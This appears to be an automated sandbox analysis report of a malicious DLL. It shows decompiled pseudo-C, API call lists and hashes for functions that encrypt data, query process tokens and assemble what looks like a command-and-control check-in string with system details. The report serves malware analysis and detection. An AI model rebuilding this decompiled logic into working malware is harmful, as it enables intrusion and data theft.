                    0x00d82064
                    0x00d8206a
                    0x00d8206a
                    0x00d82073
                    0x00d82077
                    0x00d82083
                    0x00d82087
                    0x00d820fb
                    0x00d82089
                    0x00d82089
                    0x00d8208d
                    0x00d82092
                    0x00d82097
                    0x00d820b1
                    0x00d820a0
                    0x00d820a0
                    0x00d820a4
                    0x00d820a7
                    0x00d820ac
                    0x00d820ac
                    0x00d820b6
                    0x00d820de
                    0x00d820e4
                    0x00d820e7
                    0x00d820b8
                    0x00d820ba
                    0x00d820c2
                    0x00d820cd
                    0x00d820d2
                    0x00d820d2
                    0x00d820ee
                    0x00d820f5
                    0x00d820f6
                    0x00d820f6
                    0x00d82087
                    0x00d82106

                    APIs
                    • lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,00D851F7,?,?,?,?,00000102,00D821E7,?,?,74CF81D0), ref: 00D82064
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                      • Part of subcall function 00D87AE9: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,00D82092,00000000,00000001,00000001,?,?,00D851F7,?,?,?,?,00000102), ref: 00D87AF7
                      • Part of subcall function 00D87AE9: StrChrA.SHLWAPI(?,0000003F,?,?,00D851F7,?,?,?,?,00000102,00D821E7,?,?,74CF81D0,00000000), ref: 00D87B01
                    • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,00D851F7,?,?,?,?,00000102,00D821E7,?), ref: 00D820C2
                    • lstrcpy.KERNEL32(00000000,00000000), ref: 00D820D2
                    • lstrcpy.KERNEL32(00000000,00000000), ref: 00D820DE
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                    • String ID:
                    • API String ID: 3767559652-0
                    • Opcode ID: 76170d534d013d84fca43bdb4dbb2c2098847b2ada1b4bb44734986663d99ed2
                    • Instruction ID: 770c0cbf3a21a3bd8c1388d80bd36d281f6cbb7a7f894e3f38d43d8d65865e6e
                    • Opcode Fuzzy Hash: 76170d534d013d84fca43bdb4dbb2c2098847b2ada1b4bb44734986663d99ed2
                    • Instruction Fuzzy Hash: 69219072504355EFCB12AFA4CC58AAEBFB8EF05790B298054F9099B202DA35DA41D7B1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D85DE4 Relevance: 5.0, APIs: 4, Instructions: 39stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D85DE4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E00D833DC(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}








                    0x00d85df9
                    0x00d85dfd
                    0x00d85e07
                    0x00d85e0c
                    0x00d85e11
                    0x00d85e13
                    0x00d85e1b
                    0x00d85e20
                    0x00d85e2e
                    0x00d85e33
                    0x00d85e3d

                    APIs
                    • lstrlenW.KERNEL32(004F0053,?,74CB5520,00000008,050E9270,?,00D852D0,004F0053,050E9270,?,?,?,?,?,?,00D868B6), ref: 00D85DF4
                    • lstrlenW.KERNEL32(00D852D0,?,00D852D0,004F0053,050E9270,?,?,?,?,?,?,00D868B6), ref: 00D85DFB
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • memcpy.NTDLL(00000000,004F0053,74CB69A0,?,?,00D852D0,004F0053,050E9270,?,?,?,?,?,?,00D868B6), ref: 00D85E1B
                    • memcpy.NTDLL(74CB69A0,00D852D0,00000002,00000000,004F0053,74CB69A0,?,?,00D852D0,004F0053,050E9270), ref: 00D85E2E
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: lstrlenmemcpy$AllocateHeap
                    • String ID:
                    • API String ID: 2411391700-0
                    • Opcode ID: 67f46b53eabc7703df729788ee8d6b820d2ab53454340d7a74ae1a9198f8a418
                    • Instruction ID: 57620744b2357da6a11326b8ace026d9203aa76866b5f7fb429b1c53d31f014a
                    • Opcode Fuzzy Hash: 67f46b53eabc7703df729788ee8d6b820d2ab53454340d7a74ae1a9198f8a418
                    • Instruction Fuzzy Hash: 33F03C32900119FBCF11AFA8DC45CDE7BADEF082547154062B908D7205E635EA108BB0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D87563 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlen.KERNEL32(050E9BD0,00000000,00000000,00000000,00D83EF9,00000000), ref: 00D87573
                    • lstrlen.KERNEL32(?), ref: 00D8757B
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • lstrcpy.KERNEL32(00000000,050E9BD0), ref: 00D8758F
                    • lstrcat.KERNEL32(00000000,?), ref: 00D8759A
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                    • String ID:
                    • API String ID: 74227042-0
                    • Opcode ID: 7819819004bb34786f47f1f66a9b20718cbb339144c1065f3bd1c548f920d266
                    • Instruction ID: 909d05e252fbac55c0cf940cabdbd4974697550a59c6b0a0803ec509913ad36d
                    • Opcode Fuzzy Hash: 7819819004bb34786f47f1f66a9b20718cbb339144c1065f3bd1c548f920d266
                    • Instruction Fuzzy Hash: 9BE09273911720AB87116BE8AC48C6FFBACFF89750308042AF600D3210C735D9018BB1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Executed Functions

                    Function 03181508 Relevance: 18.2, APIs: 12, Instructions: 163encryptionCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 107 3181508-3181548 CryptAcquireContextW 108 318154e-318158a memcpy CryptImportKey 107->108 109 318169f-31816a5 GetLastError 107->109 111 318168a-3181690 GetLastError 108->111 112 3181590-31815a2 CryptSetKeyParam 108->112 110 31816a8-31816af 109->110 113 3181693-318169d CryptReleaseContext 111->113 114 31815a8-31815b1 112->114 115 3181676-318167c GetLastError 112->115 113->110 117 31815b9-31815c6 call 31833dc 114->117 118 31815b3-31815b5 114->118 116 318167f-3181688 CryptDestroyKey 115->116 116->113 122 31815cc-31815d5 117->122 123 318166d-3181674 117->123 118->117 119 31815b7 118->119 119->117 124 31815d8-31815e0 122->124 123->116 125 31815e2 124->125 126 31815e5-3181602 memcpy 124->126 125->126 127 318161d-3181629 126->127 128 3181604-318161b CryptEncrypt 126->128 129 3181632-3181634 127->129 128->129 130 3181644-318164f GetLastError 129->130 131 3181636-3181640 129->131 133 3181651-3181661 130->133 134 3181663-318166b call 31861da 130->134 131->124 132 3181642 131->132 132->133 133->116 134->116
                    C-Code - Quality: 50%
                    			E03181508(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				void* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				void* _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				void* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x318a0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x318a0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E031833DC(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 =  *0x318a0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x318a0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 = _t102 + _t90;
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E031861DA(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}






























                    0x03181511
                    0x03181517
                    0x0318151a
                    0x03181520
                    0x03181520
                    0x03181522
                    0x03181524
                    0x03181527
                    0x0318152d
                    0x0318152e
                    0x0318152f
                    0x03181535
                    0x0318153a
                    0x03181540
                    0x03181548
                    0x031816a5
                    0x0318154e
                    0x03181550
                    0x03181559
                    0x0318155e
                    0x03181570
                    0x03181573
                    0x03181577
                    0x0318157e
                    0x03181582
                    0x0318158a
                    0x03181690
                    0x03181590
                    0x03181590
                    0x03181594
                    0x03181595
                    0x03181597
                    0x031815a2
                    0x0318167c
                    0x031815a8
                    0x031815a8
                    0x031815ab
                    0x031815b1
                    0x031815b7
                    0x031815b7
                    0x031815bf
                    0x031815c1
                    0x031815c6
                    0x0318166d
                    0x031815cc
                    0x031815d2
                    0x031815d5
                    0x031815d8
                    0x031815da
                    0x031815db
                    0x031815e0
                    0x031815e2
                    0x031815e2
                    0x031815ec
                    0x031815f1
                    0x031815f4
                    0x031815f7
                    0x031815f9
                    0x03181602
                    0x0318162c
                    0x03181604
                    0x03181615
                    0x03181615
                    0x03181634
                    0x00000000
                    0x00000000
                    0x03181636
                    0x03181639
                    0x0318163c
                    0x03181640
                    0x00000000
                    0x03181642
                    0x03181651
                    0x03181657
                    0x0318165f
                    0x0318165f
                    0x00000000
                    0x03181640
                    0x03181644
                    0x0318164a
                    0x0318164f
                    0x03181666
                    0x00000000
                    0x00000000
                    0x00000000
                    0x0318164f
                    0x031815c6
                    0x0318167f
                    0x03181682
                    0x03181682
                    0x03181697
                    0x03181697
                    0x031816af

                    APIs
                    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,03185088,00000001,03183ECE,00000000), ref: 03181540
                    • memcpy.NTDLL(03185088,03183ECE,00000010,?,?,?,03185088,00000001,03183ECE,00000000,?,031866D9,00000000,03183ECE,?,7491C740), ref: 03181559
                    • CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 03181582
                    • CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 0318159A
                    • memcpy.NTDLL(00000000,7491C740,057C9600,00000010), ref: 031815EC
                    • CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,057C9600,00000020,?,?,00000010), ref: 03181615
                    • GetLastError.KERNEL32(?,?,00000010), ref: 03181644
                    • GetLastError.KERNEL32 ref: 03181676
                    • CryptDestroyKey.ADVAPI32(00000000), ref: 03181682
                    • GetLastError.KERNEL32 ref: 0318168A
                    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 03181697
                    • GetLastError.KERNEL32(?,?,?,03185088,00000001,03183ECE,00000000,?,031866D9,00000000,03183ECE,?,7491C740,03183ECE,00000000,057C9600), ref: 0318169F
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDestroyEncryptImportParamRelease
                    • String ID:
                    • API String ID: 3401600162-0
                    • Opcode ID: bccf50f3f9336574b03b0478302daba141e08dd37f3ce460dbd68ca786ba4b9c
                    • Instruction ID: da06192862d247ba79a148dd9071c55e052243573a3cd405ae710ffe987d964e
                    • Opcode Fuzzy Hash: bccf50f3f9336574b03b0478302daba141e08dd37f3ce460dbd68ca786ba4b9c
                    • Instruction Fuzzy Hash: 6B515EB2900209FFDB14EFA4DC84AAEBBB9FB08340F184435F955E6240D7748A55DF68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0318421F Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 38%
                    			E0318421F(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E031833DC(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E031861DA(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}



















                    0x0318422c
                    0x0318422d
                    0x0318422e
                    0x0318422f
                    0x03184230
                    0x03184234
                    0x0318423b
                    0x0318424a
                    0x0318424d
                    0x03184250
                    0x03184257
                    0x0318425a
                    0x0318425d
                    0x03184260
                    0x03184263
                    0x0318426e
                    0x03184270
                    0x03184279
                    0x03184281
                    0x03184283
                    0x03184295
                    0x0318429f
                    0x031842a3
                    0x031842b2
                    0x031842b6
                    0x031842bf
                    0x031842c7
                    0x031842c7
                    0x031842c9
                    0x031842c9
                    0x031842d1
                    0x031842d7
                    0x031842db
                    0x031842db
                    0x031842e6

                    APIs
                    • NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 03184266
                    • NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 03184279
                    • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 03184295
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 031842B2
                    • memcpy.NTDLL(?,00000000,0000001C), ref: 031842BF
                    • NtClose.NTDLL(?), ref: 031842D1
                    • NtClose.NTDLL(00000000), ref: 031842DB
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                    • String ID:
                    • API String ID: 2575439697-0
                    • Opcode ID: 87f8bf21005257238abbbcef186f20b64d692b18696e055d539f6b0a820f79a1
                    • Instruction ID: 99f7f2d227342cd4d0fe300bd08015a1a62fed25938f2e487a0a23912ab8513c
                    • Opcode Fuzzy Hash: 87f8bf21005257238abbbcef186f20b64d692b18696e055d539f6b0a820f79a1
                    • Instruction Fuzzy Hash: 63210576900229BBDB01EF95DC84AEEBFBDEB0C750F104022F905E6150DB718A449FA8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03183CE0 Relevance: 37.7, APIs: 25, Instructions: 222memorystringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 69%
                    			E03183CE0(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t30;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t41;
				int _t44;
				intOrPtr _t45;
				int _t48;
				void* _t49;
				intOrPtr _t53;
				intOrPtr _t59;
				intOrPtr _t63;
				intOrPtr* _t65;
				void* _t66;
				intOrPtr _t71;
				intOrPtr _t77;
				intOrPtr _t80;
				intOrPtr _t83;
				int _t86;
				intOrPtr _t88;
				int _t91;
				intOrPtr _t93;
				int _t96;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t105;
				void* _t106;
				intOrPtr _t107;
				long _t109;
				intOrPtr* _t110;
				intOrPtr* _t111;
				long _t112;
				int _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_t103 = __edx;
				_t99 = __ecx;
				_t120 =  &_v16;
				_t112 = __eax;
				_t30 =  *0x318a3e0; // 0x57c9be0
				_v4 = _t30;
				_v8 = 8;
				_t31 = RtlAllocateHeap( *0x318a2d8, 0, 0x800); // executed
				_t98 = _t31;
				if(_t98 != 0) {
					if(_t112 == 0) {
						_t112 = GetTickCount();
					}
					_t33 =  *0x318a018; // 0x14d7c998
					asm("bswap eax");
					_t34 =  *0x318a014; // 0x3a87c8cd
					asm("bswap eax");
					_t35 =  *0x318a010; // 0xd8d2f808
					asm("bswap eax");
					_t36 = E0318A00C; // 0xeec43f25
					asm("bswap eax");
					_t37 =  *0x318a348; // 0x263d5a8
					_t3 = _t37 + 0x318b5ac; // 0x74666f73
					_t113 = wsprintfA(_t98, _t3, 2, 0x3d18f, _t36, _t35, _t34, _t33,  *0x318a02c,  *0x318a004, _t112);
					_t40 = E0318467F();
					_t41 =  *0x318a348; // 0x263d5a8
					_t4 = _t41 + 0x318b575; // 0x74707526
					_t44 = wsprintfA(_t113 + _t98, _t4, _t40);
					_t122 = _t120 + 0x38;
					_t114 = _t113 + _t44;
					if(_a12 != 0) {
						_t93 =  *0x318a348; // 0x263d5a8
						_t8 = _t93 + 0x318b508; // 0x732526
						_t96 = wsprintfA(_t114 + _t98, _t8, _a12);
						_t122 = _t122 + 0xc;
						_t114 = _t114 + _t96;
					}
					_t45 =  *0x318a348; // 0x263d5a8
					_t10 = _t45 + 0x318b246; // 0x74636126
					_t48 = wsprintfA(_t114 + _t98, _t10, 0);
					_t123 = _t122 + 0xc;
					_t115 = _t114 + _t48; // executed
					_t49 = E0318472F(_t99); // executed
					_t105 = _t49;
					if(_t105 != 0) {
						_t88 =  *0x318a348; // 0x263d5a8
						_t12 = _t88 + 0x318b8d0; // 0x736e6426
						_t91 = wsprintfA(_t115 + _t98, _t12, _t105);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t91;
						HeapFree( *0x318a2d8, 0, _t105);
					}
					_t106 = E03181340();
					if(_t106 != 0) {
						_t83 =  *0x318a348; // 0x263d5a8
						_t14 = _t83 + 0x318b8c5; // 0x6f687726
						_t86 = wsprintfA(_t115 + _t98, _t14, _t106);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t86;
						HeapFree( *0x318a2d8, 0, _t106);
					}
					_t107 =  *0x318a3cc; // 0x57c9600
					_a20 = E03186B59(0x318a00a, _t107 + 4);
					_t53 =  *0x318a36c; // 0x57c95b0
					_t109 = 0;
					if(_t53 != 0) {
						_t80 =  *0x318a348; // 0x263d5a8
						_t17 = _t80 + 0x318b8be; // 0x3d736f26
						wsprintfA(_t115 + _t98, _t17, _t53);
					}
					if(_a20 != _t109) {
						_t116 = RtlAllocateHeap( *0x318a2d8, _t109, 0x800);
						if(_t116 != _t109) {
							E03182915(GetTickCount());
							_t59 =  *0x318a3cc; // 0x57c9600
							__imp__(_t59 + 0x40);
							asm("lock xadd [eax], ecx");
							_t63 =  *0x318a3cc; // 0x57c9600
							__imp__(_t63 + 0x40);
							_t65 =  *0x318a3cc; // 0x57c9600
							_t66 = E03186675(1, _t103, _t98,  *_t65); // executed
							_t119 = _t66;
							asm("lock xadd [eax], ecx");
							if(_t119 != _t109) {
								StrTrimA(_t119, 0x3189280);
								_push(_t119);
								_t71 = E03187563();
								_v20 = _t71;
								if(_t71 != _t109) {
									_t110 = __imp__;
									 *_t110(_t119, _v8);
									 *_t110(_t116, _v8);
									_t111 = __imp__;
									 *_t111(_t116, _v32);
									 *_t111(_t116, _t119);
									_t77 = E031821A6(0xffffffffffffffff, _t116, _v28, _v24); // executed
									_v56 = _t77;
									if(_t77 != 0 && _t77 != 0x10d2) {
										E031863F6();
									}
									HeapFree( *0x318a2d8, 0, _v48);
									_t109 = 0;
								}
								HeapFree( *0x318a2d8, _t109, _t119);
							}
							RtlFreeHeap( *0x318a2d8, _t109, _t116); // executed
						}
						HeapFree( *0x318a2d8, _t109, _a12);
					}
					RtlFreeHeap( *0x318a2d8, _t109, _t98); // executed
				}
				return _v16;
			}


























































                    0x03183ce0
                    0x03183ce0
                    0x03183ce0
                    0x03183cf5
                    0x03183cf7
                    0x03183cfc
                    0x03183d00
                    0x03183d08
                    0x03183d0e
                    0x03183d12
                    0x03183d1a
                    0x03183d22
                    0x03183d22
                    0x03183d24
                    0x03183d30
                    0x03183d3f
                    0x03183d44
                    0x03183d47
                    0x03183d4c
                    0x03183d4f
                    0x03183d54
                    0x03183d57
                    0x03183d63
                    0x03183d70
                    0x03183d72
                    0x03183d78
                    0x03183d7d
                    0x03183d88
                    0x03183d8a
                    0x03183d8d
                    0x03183d93
                    0x03183d95
                    0x03183d9e
                    0x03183da9
                    0x03183dab
                    0x03183dae
                    0x03183dae
                    0x03183db0
                    0x03183db5
                    0x03183dc1
                    0x03183dc3
                    0x03183dc6
                    0x03183dc8
                    0x03183dcd
                    0x03183dd1
                    0x03183dd3
                    0x03183dd8
                    0x03183de4
                    0x03183de6
                    0x03183df2
                    0x03183df4
                    0x03183df4
                    0x03183dff
                    0x03183e03
                    0x03183e05
                    0x03183e0a
                    0x03183e16
                    0x03183e18
                    0x03183e24
                    0x03183e26
                    0x03183e26
                    0x03183e2c
                    0x03183e3f
                    0x03183e43
                    0x03183e48
                    0x03183e4c
                    0x03183e4f
                    0x03183e54
                    0x03183e5e
                    0x03183e60
                    0x03183e67
                    0x03183e7f
                    0x03183e83
                    0x03183e8f
                    0x03183e94
                    0x03183e9d
                    0x03183eae
                    0x03183eb2
                    0x03183ebb
                    0x03183ec1
                    0x03183ec9
                    0x03183ece
                    0x03183edb
                    0x03183ee1
                    0x03183eed
                    0x03183ef3
                    0x03183ef4
                    0x03183ef9
                    0x03183eff
                    0x03183f05
                    0x03183f0c
                    0x03183f13
                    0x03183f19
                    0x03183f20
                    0x03183f24
                    0x03183f2f
                    0x03183f34
                    0x03183f3a
                    0x03183f43
                    0x03183f43
                    0x03183f54
                    0x03183f5a
                    0x03183f5a
                    0x03183f64
                    0x03183f64
                    0x03183f72
                    0x03183f72
                    0x03183f83
                    0x03183f83
                    0x03183f91
                    0x03183f91
                    0x03183fa2

                    APIs
                    • RtlAllocateHeap.NTDLL ref: 03183D08
                    • GetTickCount.KERNEL32 ref: 03183D1C
                    • wsprintfA.USER32 ref: 03183D6B
                    • wsprintfA.USER32 ref: 03183D88
                    • wsprintfA.USER32 ref: 03183DA9
                    • wsprintfA.USER32 ref: 03183DC1
                    • wsprintfA.USER32 ref: 03183DE4
                    • HeapFree.KERNEL32(00000000,00000000), ref: 03183DF4
                    • wsprintfA.USER32 ref: 03183E16
                    • HeapFree.KERNEL32(00000000,00000000), ref: 03183E26
                    • wsprintfA.USER32 ref: 03183E5E
                    • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 03183E79
                    • GetTickCount.KERNEL32 ref: 03183E89
                    • RtlEnterCriticalSection.NTDLL(057C95C0), ref: 03183E9D
                    • RtlLeaveCriticalSection.NTDLL(057C95C0), ref: 03183EBB
                      • Part of subcall function 03186675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,03183ECE,00000000,057C9600), ref: 031866A0
                      • Part of subcall function 03186675: lstrlen.KERNEL32(00000000,?,7491C740,03183ECE,00000000,057C9600), ref: 031866A8
                      • Part of subcall function 03186675: strcpy.NTDLL ref: 031866BF
                      • Part of subcall function 03186675: lstrcat.KERNEL32(00000000,00000000), ref: 031866CA
                      • Part of subcall function 03186675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,03183ECE,?,7491C740,03183ECE,00000000,057C9600), ref: 031866E7
                    • StrTrimA.SHLWAPI(00000000,03189280,00000000,057C9600), ref: 03183EED
                      • Part of subcall function 03187563: lstrlen.KERNEL32(057C9BD0,00000000,00000000,00000000,03183EF9,00000000), ref: 03187573
                      • Part of subcall function 03187563: lstrlen.KERNEL32(?), ref: 0318757B
                      • Part of subcall function 03187563: lstrcpy.KERNEL32(00000000,057C9BD0), ref: 0318758F
                      • Part of subcall function 03187563: lstrcat.KERNEL32(00000000,?), ref: 0318759A
                    • lstrcpy.KERNEL32(00000000,?), ref: 03183F0C
                    • lstrcpy.KERNEL32(00000000,?), ref: 03183F13
                    • lstrcat.KERNEL32(00000000,?), ref: 03183F20
                    • lstrcat.KERNEL32(00000000,00000000), ref: 03183F24
                      • Part of subcall function 031821A6: WaitForSingleObject.KERNEL32(00000000,74CF81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 03182258
                    • HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 03183F54
